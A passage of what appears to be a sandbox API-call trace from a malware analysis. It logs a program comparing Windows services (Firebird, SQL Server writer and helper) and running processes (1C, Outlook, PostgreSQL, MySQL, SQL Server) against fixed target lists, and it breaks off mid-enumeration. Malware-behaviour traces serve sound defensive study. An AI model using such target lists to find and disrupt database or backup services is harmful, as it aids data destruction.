(lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0245.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0245.450] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0245.451] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0245.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0245.451] lstrlenW (lpString="eventlog") returned 8 [0245.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0245.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0245.451] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0245.451] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0245.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0245.451] lstrlenW (lpString="EventSystem") returned 11 [0245.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0245.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0245.452] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0245.452] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0245.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0245.452] lstrlenW (lpString="gpsvc") returned 5 [0245.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0245.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0245.452] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0245.452] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0245.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0245.452] lstrlenW (lpString="iphlpsvc") returned 8 [0245.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0245.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0245.453] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0245.453] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0245.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0245.453] lstrlenW (lpString="LanmanServer") returned 12 [0245.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0245.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0245.453] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0245.453] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0245.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0245.454] lstrlenW (lpString="LanmanWorkstation") returned 17 [0245.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0245.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0245.454] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0245.454] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0245.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0245.454] lstrlenW (lpString="lmhosts") returned 7 [0245.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0245.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0245.454] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0245.454] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0245.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0245.455] lstrlenW (lpString="MMCSS") returned 5 [0245.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0245.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0245.455] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0245.455] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0245.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0245.455] lstrlenW (lpString="MpsSvc") returned 6 [0245.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0245.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0245.456] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0245.456] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0245.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0245.456] lstrlenW (lpString="NlaSvc") returned 6 [0245.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0245.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0245.456] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0245.456] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0245.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0245.456] lstrlenW (lpString="nsi") returned 3 [0245.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0245.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0245.456] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0245.456] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0245.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0245.457] lstrlenW (lpString="PcaSvc") returned 6 [0245.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0245.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0245.457] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0245.457] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0245.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0245.457] lstrlenW (lpString="PlugPlay") returned 8 [0245.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0245.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0245.457] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0245.457] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0245.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0245.457] lstrlenW (lpString="Power") returned 5 [0245.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0245.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0245.458] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0245.458] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0245.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0245.458] lstrlenW (lpString="ProfSvc") returned 7 [0245.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0245.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0245.458] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0245.458] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0245.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0245.459] lstrlenW (lpString="RpcEptMapper") returned 12 [0245.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0245.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0245.459] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0245.459] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0245.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0245.459] lstrlenW (lpString="RpcSs") returned 5 [0245.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0245.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0245.459] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0245.459] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0245.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0245.460] lstrlenW (lpString="SamSs") returned 5 [0245.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0245.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0245.462] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0245.462] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0245.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0245.462] lstrlenW (lpString="Schedule") returned 8 [0245.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0245.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0245.463] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0245.463] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0245.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0245.463] lstrlenW (lpString="SENS") returned 4 [0245.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0245.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0245.463] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0245.463] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0245.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0245.463] lstrlenW (lpString="ShellHWDetection") returned 16 [0245.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0245.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0245.464] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0245.464] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0245.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0245.464] lstrlenW (lpString="Spooler") returned 7 [0245.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0245.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0245.464] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0245.464] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0245.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0245.464] lstrlenW (lpString="SysMain") returned 7 [0245.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0245.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0245.465] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0245.465] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0245.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0245.465] lstrlenW (lpString="Themes") returned 6 [0245.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0245.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0245.465] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0245.465] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0245.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0245.465] lstrlenW (lpString="TrkWks") returned 6 [0245.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0245.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0245.465] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0245.466] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0245.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0245.466] lstrlenW (lpString="UxSms") returned 5 [0245.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0245.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0245.466] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0245.466] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0245.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0245.466] lstrlenW (lpString="Winmgmt") returned 7 [0245.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0245.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0245.466] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0245.467] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0245.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0245.467] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42a0060 | out: hHeap=0x590000) returned 1 [0245.467] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0245.472] Process32FirstW (in: hSnapshot=0x398, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0245.473] Process32NextW (in: hSnapshot=0x398, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0245.474] lstrlenW (lpString="System") returned 6 [0245.474] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0245.474] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0245.474] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0245.474] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0245.474] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0245.474] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0245.474] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0245.475] Process32NextW (in: hSnapshot=0x398, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0245.786] lstrlenW (lpString="smss.exe") returned 8 [0245.786] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0245.786] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0245.786] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0245.786] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0245.786] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0245.786] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0245.786] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0245.786] Process32NextW (in: hSnapshot=0x398, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0245.787] lstrlenW (lpString="csrss.exe") returned 9 [0245.787] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0245.787] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0245.787] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0245.787] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0245.813] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0245.813] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0245.813] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0245.813] Process32NextW (in: hSnapshot=0x398, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0245.814] lstrlenW (lpString="wininit.exe") returned 11 [0245.814] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0245.814] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0245.814] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0245.814] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0245.814] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0245.814] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0245.814] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0245.815] Process32NextW (in: hSnapshot=0x398, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0245.815] lstrlenW (lpString="csrss.exe") returned 9 [0245.815] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0245.816] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0245.816] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0245.816] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0245.816] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0245.816] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0245.816] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0245.816] Process32NextW (in: hSnapshot=0x398, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0245.817] lstrlenW (lpString="winlogon.exe") returned 12 [0245.817] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0245.817] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0245.817] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0245.817] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0245.817] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0245.817] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0245.817] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0245.817] Process32NextW (in: hSnapshot=0x398, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0245.818] lstrlenW (lpString="services.exe") returned 12 [0245.818] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0245.819] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0245.819] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0245.819] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0245.819] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0245.819] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0245.819] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0245.819] Process32NextW (in: hSnapshot=0x398, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0245.820] lstrlenW (lpString="lsass.exe") returned 9 [0245.820] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0245.820] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0245.821] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0245.821] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0245.821] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0245.821] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0245.821] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0245.821] Process32NextW (in: hSnapshot=0x398, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0245.822] lstrlenW (lpString="lsm.exe") returned 7 [0245.822] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0245.822] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0245.822] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0245.822] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0245.822] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0245.822] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0245.822] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0245.822] Process32NextW (in: hSnapshot=0x398, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.823] lstrlenW (lpString="svchost.exe") returned 11 [0245.823] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0245.823] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0245.823] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0245.824] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0245.824] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0245.824] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0245.824] Process32NextW (in: hSnapshot=0x398, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.825] lstrlenW (lpString="svchost.exe") returned 11 [0245.825] Process32NextW (in: hSnapshot=0x398, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.826] lstrlenW (lpString="svchost.exe") returned 11 [0245.827] Process32NextW (in: hSnapshot=0x398, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.828] lstrlenW (lpString="svchost.exe") returned 11 [0245.828] Process32NextW (in: hSnapshot=0x398, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.829] lstrlenW (lpString="svchost.exe") returned 11 [0245.829] Process32NextW (in: hSnapshot=0x398, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0245.830] lstrlenW (lpString="audiodg.exe") returned 11 [0245.830] Process32NextW (in: hSnapshot=0x398, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.831] lstrlenW (lpString="svchost.exe") returned 11 [0245.831] Process32NextW (in: hSnapshot=0x398, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0245.832] lstrlenW (lpString="userinit.exe") returned 12 [0245.832] Process32NextW (in: hSnapshot=0x398, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0245.833] lstrlenW (lpString="explorer.exe") returned 12 [0245.833] Process32NextW (in: hSnapshot=0x398, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0245.835] lstrlenW (lpString="dwm.exe") returned 7 [0245.835] Process32NextW (in: hSnapshot=0x398, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.836] lstrlenW (lpString="svchost.exe") returned 11 [0245.836] Process32NextW (in: hSnapshot=0x398, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) 